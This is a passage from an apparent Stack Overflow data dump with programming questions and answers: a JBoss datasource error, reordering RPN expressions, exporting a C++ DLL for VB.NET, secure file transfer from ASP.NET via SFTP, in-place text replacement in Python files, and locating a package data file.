org.jboss.mx.interceptor.ReflectedDispatcher.invoke(ReflectedDispatcher.java:155),
org.jboss.mx.server.Invocation.dispatch(Invocation.java:94),
org.jboss.mx.server.Invocation.invoke(Invocation.java:86),
org.jboss.mx.server.AbstractMBeanInvoker.invoke(AbstractMBeanInvoker.java:264),
org.jboss.mx.server.MBeanServerImpl.invoke(MBeanServerImpl.java:659),
```
My Datasource:
```
<?xml version="1.0" encoding="UTF-8"?>
<datasources>
<local-tx-datasource>
<jndi-name>jdbc/xxxxxDS</jndi-name>
<connection-url>jdbc:oracle:thin:@xxxxxxxxx:1521:xxxxxxx</connection-url>
<use-java-context>false</use-java-context>
<driver-class>oracle.jdbc.driver.OracleDriver</driver-class>
<user-name>xxxxxxxx</user-name>
<password>xxxxxx</password>
<exception-sorter-class-name>org.jboss.resource.adapter.jdbc.vendor.OracleExceptionSorter</exception-sorter-class-name>
<min-pool-size>5</min-pool-size>
<max-pool-size>20</max-pool-size>
</local-tx-datasource>
</datasources>
```
Does anyone have a clue where this could come from?
Maybe someone even knows a better way how to achieve this.
Any hints are much appreciated!
Cheers,
Michael | Not sure if this is the same issue?
[JBoss DataSource config](http://www.redhat.com/docs/manuals/jboss/jboss-eap-4.2/doc/Server_Configuration_Guide/Connectors_on_JBoss-Configuring_JDBC_DataSources.html)
>
> DataSource wrappers are not usable outside of the server VM
>
>
> |
39,061 | <p>I've convinced myself that they can't.</p>
<p>Take for example:</p>
<p>4 4 + 4 /</p>
<p>stack: 4
stack: 4 4
4 + 4 = 8
stack: 8
stack: 8 4
8 / 4 = 2
stack: 2</p>
<p>There are two ways that you could write the above expression with the
same operators and operands such that the operands all come first: "4
4 4 + /" and "4 4 4 / +", neither of which evaluate to 2.</p>
<p>"4 4 4 + /"
stack: 4
stack: 4 4
stack: 4 4 4
4 + 4 = 8
stack: 4 8
4 / 8 = 0.5
stack: 0.5</p>
<p>"4 4 4 / +"
stack: 4
stack: 4 4
stack: 4 4 4
4 / 4 = 1
stack: 4 1
4 + 1 = 5
stack: 5</p>
<p>If you have the ability to swap items on the stack then yes, it's possible, otherwise, no.</p>
<p>Thoughts?</p>
| [
{
"answer_id": 39068,
"author": "Lasse V. Karlsen",
"author_id": 267,
"author_profile": "https://Stackoverflow.com/users/267",
"pm_score": 0,
"selected": false,
"text": "<p>It is enough to show one that can't in order to tell you the answer to this.</p>\n\n<p>If you can't reorder the stack contents, then the expression (2+4)*(7+8) can't be rearranged.</p>\n\n<p>2 4 + 7 8 + *</p>\n\n<p>No matter how you reorder this, you'll end up with something that needs to be summed before you go on.</p>\n\n<p>At least I believe so.</p>\n"
},
{
"answer_id": 39071,
"author": "Konrad Rudolph",
"author_id": 1968,
"author_profile": "https://Stackoverflow.com/users/1968",
"pm_score": 1,
"selected": false,
"text": "<p>Actually, you've not only given the answer but a conclusive proof as well, by examining a counter-example which is enough to disprove the assumption implied in the title.</p>\n"
},
{
"answer_id": 39072,
"author": "Greg Hewgill",
"author_id": 893,
"author_profile": "https://Stackoverflow.com/users/893",
"pm_score": 3,
"selected": true,
"text": "<p>Consider the algebraic expression:</p>\n\n<pre><code>(a + b) * (c + d)\n</code></pre>\n\n<p>The obvious translation to RPN would be:</p>\n\n<pre><code>a b + c d + *\n</code></pre>\n\n<p>Even with a swap operation available, I don't think there is a way to collect all the operators on the right:</p>\n\n<pre><code>a b c d +\na b S\n</code></pre>\n\n<p>where S is the sum of c and d. At this point, you couldn't use a single swap operation to get both a and b in place for a + operation. Instead, you would need a more sophisticated stack operation (such as roll) to get a and b in the right spot. I don't know whether a roll operation would be sufficient for all cases, either.</p>\n"
},
{
"answer_id": 13852954,
"author": "Wayne VanWeerthuizen",
"author_id": 1899805,
"author_profile": "https://Stackoverflow.com/users/1899805",
"pm_score": 1,
"selected": false,
"text": "<p>I know this is a very old thread, but I just found it today and wanted to say that I believe the answer to the original question is YES. I am confident all RPN expressions can be represented such that all operators appear on the left and all operands appear on the right, if in addition to the normal arithmetic operations, we are allowed to include three additional 'navigational' operators in the representation.</p>\n\n<p>Any arithmetic expression can be represented as a binary tree, with variables and constants at the leaf nodes, binary arithmetic operations at the forks in the tree, and unary operations such as negation, reciprocal, or square root along any branches. The three additional operations I suggest represent building a left branch, building a right branch, or reaching a leaf node in a binary tree. Now if we place all the operands to the left of the input string according to the position of their respective leaves in the tree, we can supply the remainder of the input string with operations telling how to reconstruct the appropriate binary tree in memory and insert the operands and mathematical operations into it at the correct points. Finally a depth-first tree-traversal algorithm is applied to calculate the result. </p>\n\n<p>I don't know if this has any practical application. It's probably too inefficient as way to encode and decode expressions. But as an academic exercise, I am sure it is workable.</p>\n"
}
] | 2008/09/02 | [
"https://Stackoverflow.com/questions/39061",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/4175/"
] | I've convinced myself that they can't.
Take for example:
4 4 + 4 /
stack: 4
stack: 4 4
4 + 4 = 8
stack: 8
stack: 8 4
8 / 4 = 2
stack: 2
There are two ways that you could write the above expression with the
same operators and operands such that the operands all come first: "4
4 4 + /" and "4 4 4 / +", neither of which evaluate to 2.
"4 4 4 + /"
stack: 4
stack: 4 4
stack: 4 4 4
4 + 4 = 8
stack: 4 8
4 / 8 = 0.5
stack: 0.5
"4 4 4 / +"
stack: 4
stack: 4 4
stack: 4 4 4
4 / 4 = 1
stack: 4 1
4 + 1 = 5
stack: 5
If you have the ability to swap items on the stack then yes, it's possible, otherwise, no.
Thoughts? | Consider the algebraic expression:
```
(a + b) * (c + d)
```
The obvious translation to RPN would be:
```
a b + c d + *
```
Even with a swap operation available, I don't think there is a way to collect all the operators on the right:
```
a b c d +
a b S
```
where S is the sum of c and d. At this point, you couldn't use a single swap operation to get both a and b in place for a + operation. Instead, you would need a more sophisticated stack operation (such as roll) to get a and b in the right spot. I don't know whether a roll operation would be sufficient for all cases, either. |
39,064 | <p>I'm trying to call a 3rd party vendor's C DLL from vb.net 2005 and am getting <code>P/Invoke</code> errors. I'm successfully calling other methods but have hit a bottle-neck on one of the more complex. The structures involved are horrendous and in an attempt to simplify the troubleshooting I'd like to create a C++ DLL to replicate the problem. </p>
<p>Can somebody provide the smallest code snippet for a C++ DLL that can be called from .Net? I'm getting a <code>Unable to find entry point named XXX in DLL</code> error in my C++ dll. It should be simple to resolve but I'm not a C++ programmer.</p>
<p>I'd like to use a .net declaration for the DLL of</p>
<pre><code>Declare Function Multiply Lib "C:\MyDll\Debug\MyDLL.DLL" Alias "Multiply" (ByVal ParOne As Integer, ByVal byvalParTwo As Integer) As Integer
</code></pre>
| [
{
"answer_id": 39079,
"author": "Greg Hewgill",
"author_id": 893,
"author_profile": "https://Stackoverflow.com/users/893",
"pm_score": 2,
"selected": false,
"text": "<p>Try using the <a href=\"http://msdn.microsoft.com/en-us/library/3y1sfaz2.aspx\" rel=\"nofollow noreferrer\">__decspec(dllexport)</a> magic pixie dust in your C++ function declaration. This declaration sets up several things that you need to successfully export a function from a DLL. You may also need to use WINAPI or something similar:</p>\n\n<pre><code>__declspec(dllexport) WINAPI int Multiply(int p1, int p2)\n{\n return p1 * p2;\n}\n</code></pre>\n\n<p>The WINAPI sets up the function calling convention such that it's suitable for calling from a language such as VB.NET.</p>\n"
},
{
"answer_id": 39118,
"author": "On Freund",
"author_id": 2150,
"author_profile": "https://Stackoverflow.com/users/2150",
"pm_score": 0,
"selected": false,
"text": "<p>You can try to look at the exported functions (through DumpBin or Dependency Walker) and see if the names are mangled.</p>\n"
},
{
"answer_id": 43629,
"author": "Community",
"author_id": -1,
"author_profile": "https://Stackoverflow.com/users/-1",
"pm_score": 0,
"selected": false,
"text": "<p>Using Greg's suggestion I found the following works. As mentioned I'm not a C++ programmer but just needed something practical.</p>\n\n<p><strong>myclass.cpp</strong>\n #include \"stdafx.h\"</p>\n\n<pre><code>BOOL APIENTRY DllMain( HANDLE hModule, \n DWORD ul_reason_for_call, \n LPVOID lpReserved\n )\n{\n return TRUE;\n}\n\nint _stdcall multiply(int x , int y)\n{\n return x*y;\n}\n</code></pre>\n\n<p><strong>myclass.def</strong>\n LIBRARY myclass</p>\n\n<pre><code>EXPORTS\n\nmultiply @1\n</code></pre>\n\n<p><strong>stdafx.cpp</strong>\n #include \"stdafx.h\"</p>\n\n<p><strong>stdafx.h</strong></p>\n\n<pre><code>// stdafx.h : include file for standard system include files,\n// or project specific include files that are used frequently, but\n// are changed infrequently\n//\n\n#if !defined(AFX_STDAFX_H__5DB9057C_BAE6_48D8_8E38_464F6CB80026__INCLUDED_)\n#define AFX_STDAFX_H__5DB9057C_BAE6_48D8_8E38_464F6CB80026__INCLUDED_\n\n#if _MSC_VER > 1000\n#pragma once\n#endif // _MSC_VER > 1000\n\n\n// Insert your headers here\n#define WIN32_LEAN_AND_MEAN // Exclude rarely-used stuff from Windows headers\n\n#include <windows.h>\n\n\n//{{AFX_INSERT_LOCATION}}\n// Microsoft Visual C++ will insert additional declarations immediately before the previous line.\n\n#endif // !defined(AFX_STDAFX_H__5DB9057C_BAE6_48D8_8E38_464F6CB80026__INCLUDED_)\n</code></pre>\n"
}
] | 2008/09/02 | [
"https://Stackoverflow.com/questions/39064",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/-1/"
] | I'm trying to call a 3rd party vendor's C DLL from vb.net 2005 and am getting `P/Invoke` errors. I'm successfully calling other methods but have hit a bottle-neck on one of the more complex. The structures involved are horrendous and in an attempt to simplify the troubleshooting I'd like to create a C++ DLL to replicate the problem.
Can somebody provide the smallest code snippet for a C++ DLL that can be called from .Net? I'm getting a `Unable to find entry point named XXX in DLL` error in my C++ dll. It should be simple to resolve but I'm not a C++ programmer.
I'd like to use a .net declaration for the DLL of
```
Declare Function Multiply Lib "C:\MyDll\Debug\MyDLL.DLL" Alias "Multiply" (ByVal ParOne As Integer, ByVal byvalParTwo As Integer) As Integer
``` | Try using the [\_\_decspec(dllexport)](http://msdn.microsoft.com/en-us/library/3y1sfaz2.aspx) magic pixie dust in your C++ function declaration. This declaration sets up several things that you need to successfully export a function from a DLL. You may also need to use WINAPI or something similar:
```
__declspec(dllexport) WINAPI int Multiply(int p1, int p2)
{
return p1 * p2;
}
```
The WINAPI sets up the function calling convention such that it's suitable for calling from a language such as VB.NET. |
39,070 | <p>We need to move off traditional FTP for security purposes (it transmits it's passwords unencrypted). I am hearing SSH touted as the obvious alternative. However I have been driving FTP from an ASP.NET program interface to automate my web-site development, which is now quite a highly web-enabled process. </p>
<p>Can anyone recommend a secure way to transfer files around which has a program interface that I can drive from ASP.NET?</p>
| [
{
"answer_id": 39074,
"author": "Galwegian",
"author_id": 3201,
"author_profile": "https://Stackoverflow.com/users/3201",
"pm_score": 1,
"selected": false,
"text": "<p>We have used a variation of <a href=\"http://www.jscape.com/articles/sftp_using_csharp.html\" rel=\"nofollow noreferrer\">this solution</a> in the past which uses the SSH Factory for .NET </p>\n"
},
{
"answer_id": 39075,
"author": "Peter Hoffmann",
"author_id": 720,
"author_profile": "https://Stackoverflow.com/users/720",
"pm_score": 2,
"selected": false,
"text": "<p><a href=\"http://www.codeproject.com/KB/IP/sharpssh.aspx\" rel=\"nofollow noreferrer\">sharpssh</a> implements sending files via scp.</p>\n"
},
{
"answer_id": 39094,
"author": "Rob Wells",
"author_id": 2974,
"author_profile": "https://Stackoverflow.com/users/2974",
"pm_score": 0,
"selected": false,
"text": "<p>G'day,</p>\n<p>You might like to look at <a href=\"http://www.proftpd.org/\" rel=\"nofollow noreferrer\">ProFPD</a>.</p>\n<p>Heavily customisable. Based on Apache module structure.</p>\n<p>From their web site:</p>\n<blockquote>\n<p>ProFTPD grew out of the desire to have a secure and configurable FTP server, and out of a significant admiration of the Apache web server.</p>\n</blockquote>\n<p>We use our adapted version for large scale transfer of web content. Typically 300,000 updates per day.</p>\n<p>HTH</p>\n<p>cheers,</p>\n<p>Rob</p>\n"
},
{
"answer_id": 39175,
"author": "Hank Gay",
"author_id": 4203,
"author_profile": "https://Stackoverflow.com/users/4203",
"pm_score": 1,
"selected": false,
"text": "<p>The traditional secure replacement for FTP is <a href=\"http://en.wikipedia.org/wiki/SSH_file_transfer_protocol\" rel=\"nofollow noreferrer\">SFTP</a>, but if you have enough control over both endpoints, you might consider <a href=\"http://en.wikipedia.org/wiki/SSH_file_transfer_protocol\" rel=\"nofollow noreferrer\">rsync</a> instead: it is highly configurable, secure just by telling it to use ssh, and far more efficient for keeping two locations in sync.</p>\n"
},
{
"answer_id": 84138,
"author": "Martin Vobr",
"author_id": 16132,
"author_profile": "https://Stackoverflow.com/users/16132",
"pm_score": 3,
"selected": true,
"text": "<p>the question has three subquestions:</p>\n\n<p>1) choosing the secure transfer protocol</p>\n\n<p>The secure version of old FTP exists - it's called FTP/SSL (plain old FTP over SSL encrypted channel). Maybe you can still use your old deployment infrastructure - just check whether it supports the FTPS or FTP/SSL.</p>\n\n<p>You can check details about FTP, FTP/SSL and SFTP differences at <a href=\"http://www.rebex.net/secure-ftp.net/\" rel=\"nofollow noreferrer\">http://www.rebex.net/secure-ftp.net/</a> page.</p>\n\n<p>2) SFTP or FTP/SSL server for Windows</p>\n\n<p>When you choose whether to use SFTP or FTPS you have to deploy the proper server. For FTP/SSL we use the Gene6 (<a href=\"http://www.g6ftpserver.com/\" rel=\"nofollow noreferrer\">http://www.g6ftpserver.com/</a>) on several servers without problems. There is plenty of FTP/SSL Windows servers so use whatever you want. The situation is a bit more complicated with SFTP server for Windows - there is only a few working implementations. The Bitvise WinHTTPD looks quite promising (<a href=\"http://www.bitvise.com/winsshd\" rel=\"nofollow noreferrer\">http://www.bitvise.com/winsshd</a>).</p>\n\n<p>3) Internet File Transfer Component for ASP.NET</p>\n\n<p>Last part of the solution is secure file transfer from asp.net. There is several components on the market. I would recommend the <a href=\"http://www.rebex.net/file-transfer-pack/\" rel=\"nofollow noreferrer\">Rebex File Transfer Pack</a> - it supports both FTP (and FTP/SSL) and SFTP (SSH File Transfer).</p>\n\n<p>Following code shows how to upload a file to the server via SFTP. The code is taken from our <a href=\"http://www.rebex.net/sftp.net/tutorial-sftp.aspx#upload-download\" rel=\"nofollow noreferrer\">Rebex SFTP tutorial page</a>.</p>\n\n<pre><code>// create client, connect and log in \nSftp client = new Sftp();\nclient.Connect(hostname);\nclient.Login(username, password);\n\n// upload the 'test.zip' file to the current directory at the server \nclient.PutFile(@\"c:\\data\\test.zip\", \"test.zip\");\n\n// upload the 'index.html' file to the specified directory at the server \nclient.PutFile(@\"c:\\data\\index.html\", \"/wwwroot/index.html\");\n\n// download the 'test.zip' file from the current directory at the server \nclient.GetFile(\"test.zip\", @\"c:\\data\\test.zip\");\n\n// download the 'index.html' file from the specified directory at the server \nclient.GetFile(\"/wwwroot/index.html\", @\"c:\\data\\index.html\");\n\n// upload a text using a MemoryStream \nstring message = \"Hello from Rebex SFTP for .NET!\";\nbyte[] data = System.Text.Encoding.Default.GetBytes(message);\nSystem.IO.MemoryStream ms = new System.IO.MemoryStream(data);\nclient.PutFile(ms, \"message.txt\");\n</code></pre>\n\n<p>Martin</p>\n"
}
] | 2008/09/02 | [
"https://Stackoverflow.com/questions/39070",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/4180/"
] | We need to move off traditional FTP for security purposes (it transmits it's passwords unencrypted). I am hearing SSH touted as the obvious alternative. However I have been driving FTP from an ASP.NET program interface to automate my web-site development, which is now quite a highly web-enabled process.
Can anyone recommend a secure way to transfer files around which has a program interface that I can drive from ASP.NET? | the question has three subquestions:
1) choosing the secure transfer protocol
The secure version of old FTP exists - it's called FTP/SSL (plain old FTP over SSL encrypted channel). Maybe you can still use your old deployment infrastructure - just check whether it supports the FTPS or FTP/SSL.
You can check details about FTP, FTP/SSL and SFTP differences at <http://www.rebex.net/secure-ftp.net/> page.
2) SFTP or FTP/SSL server for Windows
When you choose whether to use SFTP or FTPS you have to deploy the proper server. For FTP/SSL we use the Gene6 (<http://www.g6ftpserver.com/>) on several servers without problems. There is plenty of FTP/SSL Windows servers so use whatever you want. The situation is a bit more complicated with SFTP server for Windows - there is only a few working implementations. The Bitvise WinHTTPD looks quite promising (<http://www.bitvise.com/winsshd>).
3) Internet File Transfer Component for ASP.NET
Last part of the solution is secure file transfer from asp.net. There is several components on the market. I would recommend the [Rebex File Transfer Pack](http://www.rebex.net/file-transfer-pack/) - it supports both FTP (and FTP/SSL) and SFTP (SSH File Transfer).
Following code shows how to upload a file to the server via SFTP. The code is taken from our [Rebex SFTP tutorial page](http://www.rebex.net/sftp.net/tutorial-sftp.aspx#upload-download).
```
// create client, connect and log in
Sftp client = new Sftp();
client.Connect(hostname);
client.Login(username, password);
// upload the 'test.zip' file to the current directory at the server
client.PutFile(@"c:\data\test.zip", "test.zip");
// upload the 'index.html' file to the specified directory at the server
client.PutFile(@"c:\data\index.html", "/wwwroot/index.html");
// download the 'test.zip' file from the current directory at the server
client.GetFile("test.zip", @"c:\data\test.zip");
// download the 'index.html' file from the specified directory at the server
client.GetFile("/wwwroot/index.html", @"c:\data\index.html");
// upload a text using a MemoryStream
string message = "Hello from Rebex SFTP for .NET!";
byte[] data = System.Text.Encoding.Default.GetBytes(message);
System.IO.MemoryStream ms = new System.IO.MemoryStream(data);
client.PutFile(ms, "message.txt");
```
Martin |
39,086 | <p>I want to loop over the contents of a text file and do a search and replace on some lines and write the result back to the file. I could first load the whole file in memory and then write it back, but that probably is not the best way to do it.</p>
<p>What is the best way to do this, within the following code?</p>
<pre><code>f = open(file)
for line in f:
if line.contains('foo'):
newline = line.replace('foo', 'bar')
# how to write this newline back to the file
</code></pre>
| [
{
"answer_id": 39089,
"author": "Lasse V. Karlsen",
"author_id": 267,
"author_profile": "https://Stackoverflow.com/users/267",
"pm_score": 3,
"selected": false,
"text": "<p>Create a new file, copy lines from the old to the new, and do the replacing before you write the lines to the new file.</p>\n"
},
{
"answer_id": 39110,
"author": "Thomas Watnedal",
"author_id": 4059,
"author_profile": "https://Stackoverflow.com/users/4059",
"pm_score": 9,
"selected": true,
"text": "<p>I guess something like this should do it. It basically writes the content to a new file and replaces the old file with the new file:</p>\n\n<pre><code>from tempfile import mkstemp\nfrom shutil import move, copymode\nfrom os import fdopen, remove\n\ndef replace(file_path, pattern, subst):\n #Create temp file\n fh, abs_path = mkstemp()\n with fdopen(fh,'w') as new_file:\n with open(file_path) as old_file:\n for line in old_file:\n new_file.write(line.replace(pattern, subst))\n #Copy the file permissions from the old file to the new file\n copymode(file_path, abs_path)\n #Remove original file\n remove(file_path)\n #Move new file\n move(abs_path, file_path)\n</code></pre>\n"
},
{
"answer_id": 39113,
"author": "hamishmcn",
"author_id": 3590,
"author_profile": "https://Stackoverflow.com/users/3590",
"pm_score": 4,
"selected": false,
"text": "<p>As lassevk suggests, write out the new file as you go, here is some example code:</p>\n\n<pre><code>fin = open(\"a.txt\")\nfout = open(\"b.txt\", \"wt\")\nfor line in fin:\n fout.write( line.replace('foo', 'bar') )\nfin.close()\nfout.close()\n</code></pre>\n"
},
{
"answer_id": 290494,
"author": "Eli Bendersky",
"author_id": 8206,
"author_profile": "https://Stackoverflow.com/users/8206",
"pm_score": 8,
"selected": false,
"text": "<p>The shortest way would probably be to use the <a href=\"https://docs.python.org/3/library/fileinput.html#fileinput.input\" rel=\"noreferrer\">fileinput module</a>. For example, the following adds line numbers to a file, in-place:</p>\n\n<pre><code>import fileinput\n\nfor line in fileinput.input(\"test.txt\", inplace=True):\n print('{} {}'.format(fileinput.filelineno(), line), end='') # for Python 3\n # print \"%d: %s\" % (fileinput.filelineno(), line), # for Python 2\n</code></pre>\n\n<p>What happens here is:</p>\n\n<ol>\n<li>The original file is moved to a backup file</li>\n<li>The standard output is redirected to the original file within the loop</li>\n<li>Thus any <code>print</code> statements write back into the original file</li>\n</ol>\n\n<p><code>fileinput</code> has more bells and whistles. For example, it can be used to automatically operate on all files in <code>sys.args[1:]</code>, without your having to iterate over them explicitly. Starting with Python 3.2 it also provides a convenient context manager for use in a <code>with</code> statement.</p>\n\n<hr>\n\n<p>While <code>fileinput</code> is great for throwaway scripts, I would be wary of using it in real code because admittedly it's not very readable or familiar. In real (production) code it's worthwhile to spend just a few more lines of code to make the process explicit and thus make the code readable.</p>\n\n<p>There are two options:</p>\n\n<ol>\n<li>The file is not overly large, and you can just read it wholly to memory. Then close the file, reopen it in writing mode and write the modified contents back.</li>\n<li>The file is too large to be stored in memory; you can move it over to a temporary file and open that, reading it line by line, writing back into the original file. Note that this requires twice the storage.</li>\n</ol>\n"
},
{
"answer_id": 315088,
"author": "Jason",
"author_id": 26860,
"author_profile": "https://Stackoverflow.com/users/26860",
"pm_score": 7,
"selected": false,
"text": "<p>Here's another example that was tested, and will match search & replace patterns:</p>\n\n<pre><code>import fileinput\nimport sys\n\ndef replaceAll(file,searchExp,replaceExp):\n for line in fileinput.input(file, inplace=1):\n if searchExp in line:\n line = line.replace(searchExp,replaceExp)\n sys.stdout.write(line)\n</code></pre>\n\n<p>Example use:</p>\n\n<pre><code>replaceAll(\"/fooBar.txt\",\"Hello\\sWorld!$\",\"Goodbye\\sWorld.\")\n</code></pre>\n"
},
{
"answer_id": 1388570,
"author": "Kinlan",
"author_id": 1798387,
"author_profile": "https://Stackoverflow.com/users/1798387",
"pm_score": 6,
"selected": false,
"text": "<p>This should work: (inplace editing)</p>\n\n<pre><code>import fileinput\n\n# Does a list of files, and\n# redirects STDOUT to the file in question\nfor line in fileinput.input(files, inplace = 1): \n print line.replace(\"foo\", \"bar\"),\n</code></pre>\n"
},
{
"answer_id": 11784227,
"author": "loi",
"author_id": 1572353,
"author_profile": "https://Stackoverflow.com/users/1572353",
"pm_score": 1,
"selected": false,
"text": "<p>if you remove the indent at the like below, it will search and replace in multiple line.\nSee below for example.</p>\n\n<pre><code>def replace(file, pattern, subst):\n #Create temp file\n fh, abs_path = mkstemp()\n print fh, abs_path\n new_file = open(abs_path,'w')\n old_file = open(file)\n for line in old_file:\n new_file.write(line.replace(pattern, subst))\n #close temp file\n new_file.close()\n close(fh)\n old_file.close()\n #Remove original file\n remove(file)\n #Move new file\n move(abs_path, file)\n</code></pre>\n"
},
{
"answer_id": 13641746,
"author": "Thijs",
"author_id": 1865688,
"author_profile": "https://Stackoverflow.com/users/1865688",
"pm_score": 5,
"selected": false,
"text": "<p>Based on the answer by Thomas Watnedal. \nHowever, this does not answer the line-to-line part of the original question exactly. The function can still replace on a line-to-line basis </p>\n\n<p>This implementation replaces the file contents without using temporary files, as a consequence file permissions remain unchanged.</p>\n\n<p>Also re.sub instead of replace, allows regex replacement instead of plain text replacement only.</p>\n\n<p>Reading the file as a single string instead of line by line allows for multiline match and replacement.</p>\n\n<pre><code>import re\n\ndef replace(file, pattern, subst):\n # Read contents from file as a single string\n file_handle = open(file, 'r')\n file_string = file_handle.read()\n file_handle.close()\n\n # Use RE package to allow for replacement (also allowing for (multiline) REGEX)\n file_string = (re.sub(pattern, subst, file_string))\n\n # Write contents to file.\n # Using mode 'w' truncates the file.\n file_handle = open(file, 'w')\n file_handle.write(file_string)\n file_handle.close()\n</code></pre>\n"
},
{
"answer_id": 18676598,
"author": "Kiran",
"author_id": 959654,
"author_profile": "https://Stackoverflow.com/users/959654",
"pm_score": 4,
"selected": false,
"text": "<p>A more pythonic way would be to use context managers like the code below:</p>\n\n<pre><code>from tempfile import mkstemp\nfrom shutil import move\nfrom os import remove\n\ndef replace(source_file_path, pattern, substring):\n fh, target_file_path = mkstemp()\n with open(target_file_path, 'w') as target_file:\n with open(source_file_path, 'r') as source_file:\n for line in source_file:\n target_file.write(line.replace(pattern, substring))\n remove(source_file_path)\n move(target_file_path, source_file_path)\n</code></pre>\n\n<p>You can find the full snippet <a href=\"https://gist.github.com/kirang89/6478017\" rel=\"noreferrer\">here</a>.</p>\n"
},
{
"answer_id": 21857132,
"author": "starryknight64",
"author_id": 1476057,
"author_profile": "https://Stackoverflow.com/users/1476057",
"pm_score": 4,
"selected": false,
"text": "<p>If you're wanting a generic function that replaces <em>any</em> text with some other text, this is likely the best way to go, particularly if you're a fan of regex's:</p>\n\n<pre><code>import re\ndef replace( filePath, text, subs, flags=0 ):\n with open( filePath, \"r+\" ) as file:\n fileContents = file.read()\n textPattern = re.compile( re.escape( text ), flags )\n fileContents = textPattern.sub( subs, fileContents )\n file.seek( 0 )\n file.truncate()\n file.write( fileContents )\n</code></pre>\n"
},
{
"answer_id": 23123426,
"author": "Emmanuel",
"author_id": 3543537,
"author_profile": "https://Stackoverflow.com/users/3543537",
"pm_score": 2,
"selected": false,
"text": "<p>Using hamishmcn's answer as a template I was able to search for a line in a file that match my regex and replacing it with empty string.</p>\n\n<pre><code>import re \n\nfin = open(\"in.txt\", 'r') # in file\nfout = open(\"out.txt\", 'w') # out file\nfor line in fin:\n p = re.compile('[-][0-9]*[.][0-9]*[,]|[-][0-9]*[,]') # pattern\n newline = p.sub('',line) # replace matching strings with empty string\n print newline\n fout.write(newline)\nfin.close()\nfout.close()\n</code></pre>\n"
},
{
"answer_id": 23426834,
"author": "igniteflow",
"author_id": 343223,
"author_profile": "https://Stackoverflow.com/users/343223",
"pm_score": 3,
"selected": false,
"text": "<p>Expanding on @Kiran's answer, which I agree is more succinct and Pythonic, this adds codecs to support the reading and writing of UTF-8:</p>\n\n<pre><code>import codecs \n\nfrom tempfile import mkstemp\nfrom shutil import move\nfrom os import remove\n\n\ndef replace(source_file_path, pattern, substring):\n fh, target_file_path = mkstemp()\n\n with codecs.open(target_file_path, 'w', 'utf-8') as target_file:\n with codecs.open(source_file_path, 'r', 'utf-8') as source_file:\n for line in source_file:\n target_file.write(line.replace(pattern, substring))\n remove(source_file_path)\n move(target_file_path, source_file_path)\n</code></pre>\n"
},
{
"answer_id": 58217364,
"author": "Akif",
"author_id": 950762,
"author_profile": "https://Stackoverflow.com/users/950762",
"pm_score": 4,
"selected": false,
"text": "<p><a href=\"https://docs.python.org/3/library/fileinput.html\" rel=\"nofollow noreferrer\"><code>fileinput</code></a> is quite straightforward as mentioned on previous answers:</p>\n<pre><code>import fileinput\n\ndef replace_in_file(file_path, search_text, new_text):\n with fileinput.input(file_path, inplace=True) as file:\n for line in file:\n new_line = line.replace(search_text, new_text)\n print(new_line, end='')\n</code></pre>\n<p>Explanation:</p>\n<ul>\n<li><code>fileinput</code> can accept multiple files, but I prefer to close each single file as soon as it is being processed. So placed single <code>file_path</code> in <code>with</code> statement.</li>\n<li><code>print</code> statement does not print anything when <code>inplace=True</code>, because <code>STDOUT</code> is being forwarded to the original file.</li>\n<li><code>end=''</code> in <code>print</code> statement is to eliminate intermediate blank new lines.</li>\n</ul>\n<p>You can used it as follows:</p>\n<pre><code>file_path = '/path/to/my/file'\nreplace_in_file(file_path, 'old-text', 'new-text')\n</code></pre>\n"
}
] | 2008/09/02 | [
"https://Stackoverflow.com/questions/39086",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/4166/"
] | I want to loop over the contents of a text file and do a search and replace on some lines and write the result back to the file. I could first load the whole file in memory and then write it back, but that probably is not the best way to do it.
What is the best way to do this, within the following code?
```
f = open(file)
for line in f:
if line.contains('foo'):
newline = line.replace('foo', 'bar')
# how to write this newline back to the file
``` | I guess something like this should do it. It basically writes the content to a new file and replaces the old file with the new file:
```
from tempfile import mkstemp
from shutil import move, copymode
from os import fdopen, remove
def replace(file_path, pattern, subst):
#Create temp file
fh, abs_path = mkstemp()
with fdopen(fh,'w') as new_file:
with open(file_path) as old_file:
for line in old_file:
new_file.write(line.replace(pattern, subst))
#Copy the file permissions from the old file to the new file
copymode(file_path, abs_path)
#Remove original file
remove(file_path)
#Move new file
move(abs_path, file_path)
``` |
39,104 | <p>I've written a Python package that includes a bsddb database of pre-computed values for one of the more time-consuming computations. For simplicity, my setup script installs the database file in the same directory as the code which accesses the database (on Unix, something like /usr/lib/python2.5/site-packages/mypackage/).</p>
<p>How do I store the final location of the database file so my code can access it? Right now, I'm using a hack based on the <code>__file__</code> variable in the module which accesses the database:</p>
<pre>
dbname = os.path.join(os.path.dirname(__file__), "database.dat")
</pre>
<p>It works, but it seems... hackish. Is there a better way to do this? I'd like to have the setup script just grab the final installation location from the distutils module and stuff it into a "dbconfig.py" file that gets installed alongside the code that accesses the database.</p>
| [
{
"answer_id": 39295,
"author": "dguaraglia",
"author_id": 2384,
"author_profile": "https://Stackoverflow.com/users/2384",
"pm_score": 2,
"selected": false,
"text": "<p>That's probably the way to do it, without resorting to something more advanced like using setuptools to install the files where they belong.</p>\n\n<p>Notice there's a problem with that approach, because on OSes with real a security framework (UNIXes, etc.) the user running your script might not have the rights to access the DB in the system directory where it gets installed.</p>\n"
},
{
"answer_id": 39659,
"author": "Aaron Maenpaa",
"author_id": 2603,
"author_profile": "https://Stackoverflow.com/users/2603",
"pm_score": 5,
"selected": false,
"text": "<p>Try using pkg_resources, which is part of setuptools (and available on all of the pythons I have access to right now):</p>\n\n<pre><code>>>> import pkg_resources\n>>> pkg_resources.resource_filename(__name__, \"foo.config\")\n'foo.config'\n>>> pkg_resources.resource_filename('tempfile', \"foo.config\")\n'/usr/lib/python2.4/foo.config'\n</code></pre>\n\n<p>There's more discussion about using pkg_resources to get resources on the <a href=\"http://peak.telecommunity.com/DevCenter/PythonEggs#accessing-package-resources\" rel=\"noreferrer\">eggs</a> page and the <a href=\"http://peak.telecommunity.com/DevCenter/PkgResources\" rel=\"noreferrer\">pkg_resources</a> page.</p>\n\n<p>Also note, where possible it's probably advisable to use pkg_resources.resource_stream or pkg_resources.resource_string because if the package is part of an egg, resource_filename will copy the file to a temporary directory.</p>\n"
},
{
"answer_id": 9918496,
"author": "merwok",
"author_id": 821378,
"author_profile": "https://Stackoverflow.com/users/821378",
"pm_score": 4,
"selected": false,
